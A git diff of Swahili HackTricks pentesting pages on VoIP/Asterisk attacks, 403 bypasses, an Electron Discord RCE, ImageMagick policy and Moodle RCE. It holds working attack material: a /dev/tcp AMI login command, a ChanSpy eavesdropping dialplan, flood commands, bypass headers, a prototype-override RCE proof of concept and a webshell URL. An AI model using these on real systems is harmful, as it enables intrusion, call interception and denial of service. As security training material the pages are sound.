Udhaifu huu unaruhusu **kuvuja kwa jibu la uthibitisho wa Digest**, ambalo linahesabiwa kutoka kwa nenosiri. **Shambulio la nenosiri la mbali linaweza kufanyika** na linaweza kurejesha nenosiri nyingi kulingana na jibu la changamoto. +Uthibitisho wa SIP Digest Leak ni udhaifu unaoathiri idadi kubwa ya Simu za SIP, ikiwa ni pamoja na simu za IP za vifaa na programu pamoja na adapta za simu (VoIP hadi analojia). Udhaifu huu unaruhusu **kuvuja kwa jibu la uthibitisho wa Digest**, ambalo linahesabiwa kutoka kwa nenosiri. **Shambulio la nenosiri la mbali linaweza kufanyika** na linaweza kurejesha nenosiri nyingi kulingana na jibu la changamoto. **[Muktadha wa udhaifu kutoka hapa**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): -1. Simu ya IP (mohaka) inasikiliza kwenye bandari yoyote (kwa mfano: 5060), ikikubali simu +1. Simu ya IP (mhasiriwa) inasikiliza kwenye bandari yoyote (kwa mfano: 5060), ikikubali simu 2. Mshambuliaji anatumia INVITE kwa Simu ya IP -3. Simu ya mohaka inaanza kupiga kelele na mtu anachukua na kutundika (kwa sababu hakuna anayejibu simu upande wa pili) -4. Wakati simu inatundikwa, **simu ya mohaka inatuma BYE kwa mshambuliaji** +3. Simu ya mhasiriwa inaanza kupiga kelele na mtu anachukua na kutundika (kwa sababu hakuna anayejibu simu upande wa pili) +4. Wakati simu inatundikwa, **simu ya mhasiriwa inatuma BYE kwa mshambuliaji** 5. **Mshambuliaji anatoa jibu la 407** ambalo **linahitaji uthibitisho** na kutoa changamoto ya uthibitisho -6. **Simu ya mohaka inatoa jibu kwa changamoto ya uthibitisho** katika BYE ya pili -7. **Mshambuliaji anaweza kisha kutoa shambulio la brute-force** kwenye jibu la changamoto kwenye mashine yake ya ndani (au mtandao ulio sambamba n.k.) na kukisia nenosiri +6. **Simu ya mhasiriwa inatoa jibu kwa changamoto ya uthibitisho** katika BYE ya pili +7. **Mshambuliaji anaweza kisha kutoa shambulio la nguvu za kikatili** kwenye jibu la changamoto kwenye mashine yake ya ndani (au mtandao ulioenea nk) na kukisia nenosiri -- **SIPPTS leak** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak inatumia udhaifu wa SIP Digest Leak unaoathiri idadi kubwa ya Simu za SIP. Matokeo yanaweza kuhifadhiwa katika muundo wa SipCrack ili kujaribu nguvu kutumia SIPPTS dcrack au zana ya SipCrack. +- **SIPPTS leak** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak inatumia udhaifu wa SIP Digest Leak unaoathiri idadi kubwa ya Simu za SIP. Matokeo yanaweza kuhifadhiwa katika muundo wa SipCrack ili kuyashambulia kwa kutumia SIPPTS dcrack au zana ya SipCrack. ```bash sippts leak -i 10.10.0.10 @@ -473,7 +471,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 ``` ### Click2Call -Click2Call inaruhusu **mtumiaji wa wavuti** (ambaye kwa mfano anaweza kuwa na hamu na bidhaa) **kuwasilisha** nambari yake ya **simu** ili apigiwe simu. Kisha biashara itapigiwa simu, na wakati atakap **chukua simu** mtumiaji atakuwa **apigiwa simu na kuunganishwa na wakala**. +Click2Call inaruhusu **mtumiaji wa wavuti** (ambaye kwa mfano anaweza kuwa na hamu ya bidhaa) **kuwasilisha** nambari yake ya **simu** ili apigiwe simu. Kisha, biashara itapigiwa simu, na wakati atakap **chukua simu** mtumiaji atakuwa **apigiwa simu na kuunganishwa na wakala**. Profaili ya kawaida ya Asterisk kwa hili ni: ```scss @@ -486,7 +484,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Profaili ya awali inaruhusu **ANAYE IP yoyote kuungana** (ikiwa nenosiri linajulikana). -- Ili **kuandaa simu**, kama ilivyobainishwa hapo awali, **hakuna ruhusa za kusoma zinazohitajika** na **tu** **kuanzisha** katika **kuandika** inahitajika. +- Ili **kuandaa simu**, kama ilivyoelezwa hapo awali, **hakuna ruhusa za kusoma zinazohitajika** na **tu** **kuanzisha** katika **kuandika** kunahitajika. Kwa ruhusa hizo, IP yoyote inayojua nenosiri inaweza kuungana na kutoa taarifa nyingi, kama: ```bash @@ -497,7 +495,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ### **Kusikiliza kwa siri** -Katika Asterisk inawezekana kutumia amri **`ChanSpy`** kuashiria **kiunganishi (s) cha kufuatilia** (au vyote) kusikia mazungumzo yanayoendelea. Amri hii inahitaji kupewa kiunganishi. +Katika Asterisk inawezekana kutumia amri **`ChanSpy`** kuashiria **kiunganishi (extension) cha kufuatilia** (au vyote) ili kusikia mazungumzo yanayoendelea. Amri hii inahitaji kupewa kiunganishi. Kwa mfano, **`exten => 333,1,ChanSpy('all',qb)`** inaonyesha kwamba ikiwa **unapiga** **kiunganishi 333**, itakuwa **inatazama** **`vyote`** viunganishi, **kuanza kusikiliza** kila wakati mazungumzo mapya yanapoanza (**`b`**) katika hali ya kimya (**`q`**) kwani hatutaki kuingilia kati. Unaweza kuhamia kutoka mazungumzo moja hadi nyingine kwa kubonyeza **`*`**, au kuandika nambari ya kiunganishi. @@ -511,17 +509,17 @@ exten => _X.,2,MixMonitor(${NAME}) ``` Calls will be saved in **`/tmp`**. -You could also even make Asterisk **kufanya script ambayo itavuja simu** when it's closed. +You could also even make Asterisk **execute a script that will leak the call** when it's closed. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed vulnerability -**RTCPBleed** ni tatizo kubwa la usalama linaloathiri seva za VoIP za msingi wa Asterisk (zilizochapishwa mwaka 2017). Uthibitisho huu unaruhusu **RTP (Real Time Protocol) traffic**, inayobeba mazungumzo ya VoIP, **kukamatwa na kuelekezwa na mtu yeyote kwenye Mtandao**. Hii inatokea kwa sababu trafiki ya RTP inapita uthibitisho inapopita kupitia moto wa NAT (Network Address Translation). +**RTCPBleed** ni tatizo kubwa la usalama linaloathiri seva za VoIP za msingi wa Asterisk (zilizochapishwa mwaka 2017). Uthibitisho huu unaruhusu **RTP (Real Time Protocol) traffic**, inayobeba mazungumzo ya VoIP, **kukamatwa na kuelekezwa na mtu yeyote kwenye Mtandao**. Hii inatokea kwa sababu trafiki ya RTP inapita uthibitisho inapokuwa inaviga kupitia moto wa NAT (Network Address Translation). -RTP proxies hujaribu kushughulikia **mipaka ya NAT** inayohusiana na mifumo ya RTC kwa kuproxy RTP streams kati ya wahusika wawili au zaidi. Wakati NAT ipo, programu ya RTP proxy mara nyingi haiwezi kutegemea taarifa za IP na bandari za RTP zilizopatikana kupitia ishara (e.g. SIP). Kwa hivyo, idadi ya RTP proxies zimeanzisha mekanizma ambapo **IP na port tuplet inajifunza kiotomatiki**. Hii mara nyingi hufanywa kwa kukagua trafiki ya RTP inayokuja na kuweka alama IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayokuja kama ile ambayo inapaswa kujibiwa. Mekanizma hii, ambayo inaweza kuitwa "learning mode", **haitumii aina yoyote ya uthibitisho**. Kwa hivyo **washambuliaji** wanaweza **kutuma trafiki ya RTP kwa RTP proxy** na kupokea trafiki ya RTP iliyoprosiwa ambayo inapaswa kuwa kwa mpiga simu au mpokeaji wa mtiririko wa RTP unaoendelea. Tunaita udhaifu huu RTP Bleed kwa sababu unaruhusu washambuliaji kupokea mitiririko ya media ya RTP ambayo inapaswa kutumwa kwa watumiaji halali. +RTP proxies hujaribu kushughulikia **mipaka ya NAT** inayohusiana na mifumo ya RTC kwa kuproxy RTP streams kati ya pande mbili au zaidi. Wakati NAT ipo, programu ya RTP proxy mara nyingi haiwezi kutegemea taarifa za RTP IP na bandari zinazopatikana kupitia ishara (e.g. SIP). Kwa hivyo, idadi ya RTP proxies zimeanzisha mekanizma ambapo **IP na port tuplet inajifunza kiotomatiki**. Hii mara nyingi hufanywa kwa kukagua trafiki ya RTP inayokuja na kuashiria IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayokuja kama ile ambayo inapaswa kujibiwa. Mekanizma hii, ambayo inaweza kuitwa "learning mode", **haitumii aina yoyote ya uthibitisho**. Kwa hivyo **washambuliaji** wanaweza **kutuma trafiki ya RTP kwa RTP proxy** na kupokea trafiki ya RTP iliyoprokwa ambayo inapaswa kuwa kwa mpiga simu au mpokeaji wa mtiririko wa RTP unaoendelea. Tunaita udhaifu huu RTP Bleed kwa sababu unaruhusu washambuliaji kupokea RTP media streams ambazo zinapaswa kutumwa kwa watumiaji halali. -Tabia nyingine ya kuvutia ya RTP proxies na RTP stacks ni kwamba wakati mwingine, **hata kama si hatarishi kwa RTP Bleed**, watakubali, kupeleka na/au kushughulikia pakiti za RTP kutoka chanzo chochote. Kwa hivyo washambuliaji wanaweza kutuma pakiti za RTP ambazo zinaweza kuwapa uwezo wa kuingiza media yao badala ya ile halali. Tunaita shambulio hili RTP injection kwa sababu inaruhusu kuingizwa kwa pakiti za RTP zisizo halali katika mitiririko ya RTP iliyopo. Uthibitisho huu unaweza kupatikana katika RTP proxies na mwisho. +Tabia nyingine ya kuvutia ya RTP proxies na RTP stacks ni kwamba wakati mwingine, **hata kama hazina udhaifu wa RTP Bleed**, zitakubali, kupeleka na/au kushughulikia pakiti za RTP kutoka chanzo chochote. Kwa hivyo washambuliaji wanaweza kutuma pakiti za RTP ambazo zinaweza kuwapa uwezo wa kuingiza media yao badala ya ile halali. Tunaita shambulio hili RTP injection kwa sababu inaruhusu kuingiza pakiti za RTP zisizo halali katika mitiririko ya RTP iliyopo. Uthibitisho huu unaweza kupatikana katika RTP proxies na mwisho. Asterisk na FreePBX kwa kawaida wamekuwa wakitumia **`NAT=yes` setting**, ambayo inaruhusu trafiki ya RTP kupita uthibitisho, ambayo inaweza kusababisha kutokuwa na sauti au sauti ya upande mmoja kwenye simu. @@ -562,11 +560,11 @@ There is command called **`Shell`** that could be used **instead of `System`** t - this could be used to create a new mysql user as backdoor - **`FreePBX`** - **`amportal.conf`** -> Inayo nenosiri la msimamizi wa paneli ya wavuti (FreePBX) -- **`FreePBX.conf`** -> Inayo nenosiri la mtumiaji FreePBXuser anayetumia kufikia hifadhidata +- **`FreePBX.conf`** -> Inayo nenosiri la mtumiaji FreePBXuser anayetumiwa kufikia hifadhidata - this could be used to create a new mysql user as backdoor - **`Elastix`** - **`Elastix.conf`** -> Inayo nenosiri kadhaa kwa maandiko wazi kama nenosiri la mysql root, nenosiri la IMAPd, nenosiri la msimamizi wa wavuti -- **Makaratasi kadhaa** yatakuwa chini ya mtumiaji aliyeathiriwa wa asterisk (ikiwa haifanyi kazi kama root). Mtumiaji huyu anaweza kusoma faili za awali na pia anadhibiti usanidi, hivyo anaweza kufanya Asterisk kupakia binaries nyingine zenye backdoor wakati inatekelezwa. +- **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed. ### RTP Injection @@ -578,9 +576,9 @@ Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando There are several ways to try to achieve DoS in VoIP servers. -- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target. +- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time. +- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP. diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 20b6b91d7..8c99cf7cc 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -8,12 +8,12 @@ Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE, - Angalia vichwa vya majibu, labda taarifa fulani zinaweza kutolewa. Kwa mfano, **jibu la 200** kwa **HEAD** lenye `Content-Length: 55` lina maana kwamba **kitenzi cha HEAD kinaweza kufikia taarifa**. Lakini bado unahitaji kupata njia ya kuhamasisha taarifa hiyo. - Kutumia kichwa cha HTTP kama `X-HTTP-Method-Override: PUT` kunaweza kubadilisha kitenzi kilichotumika. -- Tumia **`TRACE`** kitenzi na ikiwa una bahati sana labda katika jibu unaweza kuona pia **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa. +- Tumia **`TRACE`** kitenzi na ikiwa una bahati sana labda katika jibu unaweza pia kuona **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa. ## HTTP Headers Fuzzing -- **Badilisha kichwa cha Host** kuwa thamani yoyote ([ambayo ilifanya kazi hapa](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -- Jaribu [**kutumia Wakala wengine wa Mtumiaji**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kufikia rasilimali. +- **Badilisha kichwa cha Host** kuwa thamani isiyo ya kawaida ([ambayo ilifanya kazi hapa](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +- Jaribu [**kutumia Wakala Wengine wa Mtumiaji**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kufikia rasilimali. - **Fuzz HTTP Headers**: Jaribu kutumia HTTP Proxy **Headers**, HTTP Authentication Basic na NTLM brute-force (kwa mchanganyiko machache tu) na mbinu nyingine. Ili kufanya yote haya nimeunda zana [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - `X-Originating-IP: 127.0.0.1` @@ -30,7 +30,7 @@ Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE, - `X-ProxyUser-Ip: 127.0.0.1` - `Host: localhost` -Ikiwa **njia imekingwa** unaweza kujaribu kupita ulinzi wa njia hiyo kwa kutumia vichwa hivi vingine: +Ikiwa **njia imekingwa** unaweza kujaribu kupita kinga ya njia hii kwa kutumia vichwa hivi vingine: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` @@ -38,14 +38,14 @@ Ikiwa **njia imekingwa** unaweza kujaribu kupita ulinzi wa njia hiyo kwa kutumia - Ikiwa ukurasa uko **nyuma ya proxy**, labda ni proxy inayokuzuia kufikia taarifa za kibinafsi. Jaribu kutumia [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **au** [**vichwa vya hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** - Fuzz [**vichwa maalum vya HTTP**](special-http-headers.md) ukitafuta majibu tofauti. - **Fuzz vichwa maalum vya HTTP** wakati wa fuzzing **HTTP Methods**. -- **Ondoa kichwa cha Host** na labda utaweza kupita ulinzi. +- **Ondoa kichwa cha Host** na labda utaweza kupita kinga hiyo. ## Path **Fuzzing** Ikiwa _/path_ imezuiwa: -- Jaribu kutumia _**/**_**%2e/path \_(ikiwa ufikiaji umezuiwa na proxy, hii inaweza kupita ulinzi). Jaribu pia**\_\*\* /%252e\*\*/path (kuandika tena URL mara mbili) -- Jaribu **Unicode bypass**: _/**%ef%bc%8f**path_ (Herufi zilizowekwa URL ni kama "/") hivyo wakati zinapandishwa tena itakuwa _//path_ na labda tayari umepita ukaguzi wa jina _/path_ +- Jaribu kutumia `/%2e/path` (ikiwa ufikiaji umezuiwa na proxy, hii inaweza kupita kinga). Jaribu pia `/%252e**/path` (kuandika tena URL mara mbili) +- Jaribu **Unicode bypass**: _/**%ef%bc%8f**path_ (Herufi zilizowekwa URL ni kama "/") hivyo wakati zinapowekwa tena itakuwa _//path_ na labda tayari umepita ukaguzi wa jina _/path_ - **Njia nyingine za kupita**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -78,7 +78,7 @@ Ikiwa _/path_ imezuiwa: - Ondoa vigezo - Panga upya vigezo - Tumia herufi maalum. -- Fanya majaribio ya mipaka katika vigezo — toa thamani kama _-234_ au _0_ au _99999999_ (thamani chache za mfano). +- Fanya majaribio ya mipaka katika vigezo — toa thamani kama _-234_ au _0_ au _99999999_ (mfano wa thamani tu). ## **Protocol version** @@ -105,7 +105,7 @@ root toor test test guest guest ``` -## Vifaa vya Otomatiki +## Vifaa vya Moja kwa Moja - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index e87425040..ab42b7d65 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -1,4 +1,4 @@ -# Electron contextIsolation RCE kupitia preload code +# Electron contextIsolation RCE via preload code {{#include ../../../banners/hacktricks-training.md}} @@ -29,18 +29,18 @@ return 1337 CLICK ``` -Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na dirisha linalouliza ruhusa. +Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na kidokezo kinachouliza ruhusa. -Kwa apparently, njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama `file://127.0.0.1/electron/rce.jar` +Kwa kweli njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama `file://127.0.0.1/electron/rce.jar` ## Mfano 2: Discord App RCE Mfano kutoka [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) -Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, kwenye ukurasa wa wavuti.\ -Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama moduli ya _child_process_, lakini **nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript** na kuingilia kati utekelezaji wa moduli iliyofichuliwa. +Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, ndani ya ukurasa wa wavuti.\ +Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama vile moduli ya _child_process_, lakini **nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript** na kuingilia kati utekelezaji wa moduli iliyofichuliwa. -Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya **calc** inajitokeza wakati n**inapoitisha kazi ya `getGPUDriverVersions`** ambayo imefafanuliwa katika moduli inayoitwa "_discord_utils_" kutoka devTools, wakati **nikibadilisha `RegExp.prototype.test` na `Array.prototype.join`**. +Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya **calc** inajitokeza wakati n**inapoitwa kazi ya `getGPUDriverVersions`** ambayo imefafanuliwa katika moduli inayoitwa "_discord_utils_" kutoka devTools, wakati **nikibadilisha `RegExp.prototype.test` na `Array.prototype.join`**. ```javascript RegExp.prototype.test = function () { return false @@ -52,7 +52,7 @@ DiscordNative.nativeModules .requireModule("discord_utils") .getGPUDriverVersions() ``` -Funguo la `getGPUDriverVersions` inajaribu kutekeleza programu kwa kutumia maktaba ya "_execa_", kama ifuatavyo: +Funguo la `getGPUDriverVersions` linajaribu kutekeleza programu kwa kutumia maktaba ya "_execa_", kama ifuatavyo: ```javascript module.exports.getGPUDriverVersions = async () => { if (process.platform !== "win32") { @@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() } return result } ``` -Kawaida _execa_ inajaribu kutekeleza "_nvidia-smi.exe_", ambayo imeainishwa katika mabadiliko ya `nvidiaSmiPath`, hata hivyo, kutokana na `RegExp.prototype.test` na `Array.prototype.join` zilizobadilishwa, **hoja inabadilishwa kuwa "**_**calc**_**" katika \_execa**\_**'s internal processing**. +Kawaida _execa_ inajaribu kutekeleza "_nvidia-smi.exe_", ambayo imeainishwa katika mabadiliko ya `nvidiaSmiPath`, hata hivyo, kutokana na `RegExp.prototype.test` na `Array.prototype.join` zilizobadilishwa, **hoja inabadilishwa kuwa "**_**calc**_**" katika usindikaji wa ndani wa _execa**_**. -Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo. +Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo. + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index b21e620fc..990f96f92 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -1,46 +1,46 @@ -# Usalama wa ImageMagick +# ImageMagick Security {{#include ../../banners/hacktricks-training.md}} -Angalia maelezo zaidi katika [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +Check further details in [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) -ImageMagick, maktaba ya usindikaji wa picha yenye uwezo mwingi, inatoa changamoto katika kuunda sera zake za usalama kutokana na chaguzi zake nyingi na ukosefu wa nyaraka za kina mtandaoni. Watumiaji mara nyingi huunda sera kulingana na vyanzo vilivyovunjika vya mtandao, na kusababisha uwezekano wa makosa ya usanidi. Maktaba inasaidia aina mbalimbali za zaidi ya fomati 100 za picha, kila moja ikichangia katika ugumu wake na wasifu wa udhaifu, kama inavyoonyeshwa na matukio ya kihistoria ya usalama. +ImageMagick, maktaba ya usindikaji picha yenye uwezo mwingi, inatoa changamoto katika kuunda sera zake za usalama kutokana na chaguzi zake nyingi na ukosefu wa nyaraka za kina mtandaoni. Watumiaji mara nyingi huunda sera kulingana na vyanzo vya mtandaoni vilivyovunjika, na kusababisha uwezekano wa makosa ya usanidi. Maktaba inasaidia aina mbalimbali zaidi ya 100 za muundo wa picha, kila moja ikichangia katika ugumu wake na wasifu wa udhaifu, kama inavyoonyeshwa na matukio ya kihistoria ya usalama. -## kuelekea Sera Salama +## Towards Safer Policies -Ili kushughulikia changamoto hizi, [chombo kimeandaliwa](https://imagemagick-secevaluator.doyensec.com/) kusaidia katika kubuni na kukagua sera za usalama za ImageMagick. Chombo hiki kimejikita katika utafiti wa kina na kinakusudia kuhakikisha sera sio tu thabiti bali pia hazina mapengo yanayoweza kutumiwa. +Ili kushughulikia changamoto hizi, [chombo kimeandaliwa](https://imagemagick-secevaluator.doyensec.com/) kusaidia katika kubuni na kukagua sera za usalama za ImageMagick. Chombo hiki kina msingi wa utafiti wa kina na kinakusudia kuhakikisha sera sio tu thabiti bali pia hazina mapengo yanayoweza kutumika. -## Njia ya Orodha ya Kuruhusiwa dhidi ya Orodha ya Kukataliwa +## Allowlist vs Denylist Approach -Kihistoria, sera za ImageMagick zilitegemea njia ya orodha ya kukataliwa, ambapo waandishi maalum walikatazwa kupata ufikiaji. Hata hivyo, mabadiliko katika ImageMagick 6.9.7-7 yalihamisha mtindo huu, na kuwezesha njia ya orodha ya kuruhusiwa. Njia hii kwanza inakataza waandishi wote na kisha inatoa ufikiaji kwa wale walioaminika, ikiongeza hali ya usalama. +Kihistoria, sera za ImageMagick zilitegemea mbinu ya denylist, ambapo waandishi maalum walikatazwa kupata ufikiaji. Hata hivyo, mabadiliko katika ImageMagick 6.9.7-7 yalihamisha mtindo huu, na kuwezesha mbinu ya allowlist. Mbinu hii kwanza inakataza waandishi wote na kisha inatoa ufikiaji kwa wale walioaminika, ikiongeza usalama. ```xml ... ... ``` -## Uthibitisho wa Kesi katika Sera +## Uwezo wa Kesi katika Sera -Ni muhimu kutambua kwamba mifumo ya sera katika ImageMagick ina uthibitisho wa kesi. Hivyo basi, kuhakikisha kwamba waandishi wa programu na moduli zimeandikwa kwa herufi kubwa katika sera ni muhimu ili kuzuia ruhusa zisizokusudiwa. +Ni muhimu kutambua kwamba mifumo ya sera katika ImageMagick ina uwezo wa kesi. Hivyo basi, kuhakikisha kwamba waandishi wa programu na moduli zimeandikwa kwa herufi kubwa katika sera ni muhimu ili kuzuia ruhusa zisizokusudiwa. ## Mipaka ya Rasilimali ImageMagick inakabiliwa na mashambulizi ya kukatiza huduma ikiwa haijawekwa ipasavyo. Kuweka mipaka ya rasilimali wazi katika sera ni muhimu ili kuzuia udhaifu kama huo. -## Ukatwaji wa Sera +## Ukatishaji wa Sera -Sera zinaweza kukatwa katika usakinishaji tofauti wa ImageMagick, na kusababisha migongano au kuzidiana. Inapendekezwa kutafuta na kuthibitisha faili za sera zinazofanya kazi kwa kutumia amri kama: +Sera zinaweza kukatwa katika usakinishaji tofauti wa ImageMagick, na kusababisha migongano au kuzidisha. Inapendekezwa kutafuta na kuthibitisha faili za sera zinazofanya kazi kwa kutumia amri kama: ```shell $ find / -iname policy.xml ``` -## Sera ya Kuanza, Inayopunguza +## Sera ya Mwanzo, Inayopunguza Kigezo cha sera inayopunguza kimependekezwa, kikilenga mipaka ya rasilimali kali na udhibiti wa ufikiaji. Kigezo hiki kinatumika kama msingi wa kuunda sera zilizobinafsishwa zinazolingana na mahitaji maalum ya programu. -Ufanisi wa sera ya usalama unaweza kuthibitishwa kwa kutumia amri ya `identify -list policy` katika ImageMagick. Zaidi ya hayo, chombo cha [evaluator](https://imagemagick-secevaluator.doyensec.com/) kilichotajwa hapo awali kinaweza kutumika kuboresha sera kulingana na mahitaji ya mtu binafsi. +Ufanisi wa sera ya usalama unaweza kuthibitishwa kwa kutumia amri `identify -list policy` katika ImageMagick. Zaidi ya hayo, chombo cha [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) kilichotajwa hapo awali kinaweza kutumika kuboresha sera kulingana na mahitaji ya mtu binafsi. -## Marejeo +## Marejeleo -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index bd5e40c1b..5df2feb4d 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -66,11 +66,11 @@ Nimegundua kwamba zana za kiotomatiki ni **zisizo na maana katika kutafuta udhai ## **RCE** -Unahitaji kuwa na **meneja** nafasi na unaweza **kusanidi plugins** ndani ya **"Site administration"** tab\*\*:\*\* +Unahitaji kuwa na **meneja** nafasi na unaweza **kusanidi plugins** ndani ya **"Site administration"** tab**:** ![](<../../images/image (630).png>) -Ikiwa wewe ni meneja unaweza bado kuhitaji **kuamsha chaguo hili**. Unaweza kuona jinsi katika moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). +Ikiwa wewe ni meneja bado unaweza kuhitaji **kuamsha chaguo hili**. Unaweza kuona jinsi katika moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Kisha, unaweza **kusanidi plugin ifuatayo** ambayo ina classic pentest-monkey php r**ev shell** (_kabla ya kuipakia unahitaji kuifungua, kubadilisha IP na bandari ya revshell na kuikandamiza tena_) @@ -78,7 +78,7 @@ Kisha, unaweza **kusanidi plugin ifuatayo** ambayo ina classic pentest-monkey ph moodle-rce-plugin.zip {{#endfile}} -Au unaweza kutumia plugin kutoka [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) kupata shell ya kawaida ya PHP na parameter "cmd". +Au unaweza kutumia plugin kutoka [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) kupata PHP shell ya kawaida na parameter "cmd". Ili kufikia uzinduzi wa plugin mbaya unahitaji kufikia: ```bash @@ -86,11 +86,11 @@ http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST -### Pata akreditif za database +### Pata sifa za database ```bash find / -name "config.php" 2>/dev/null 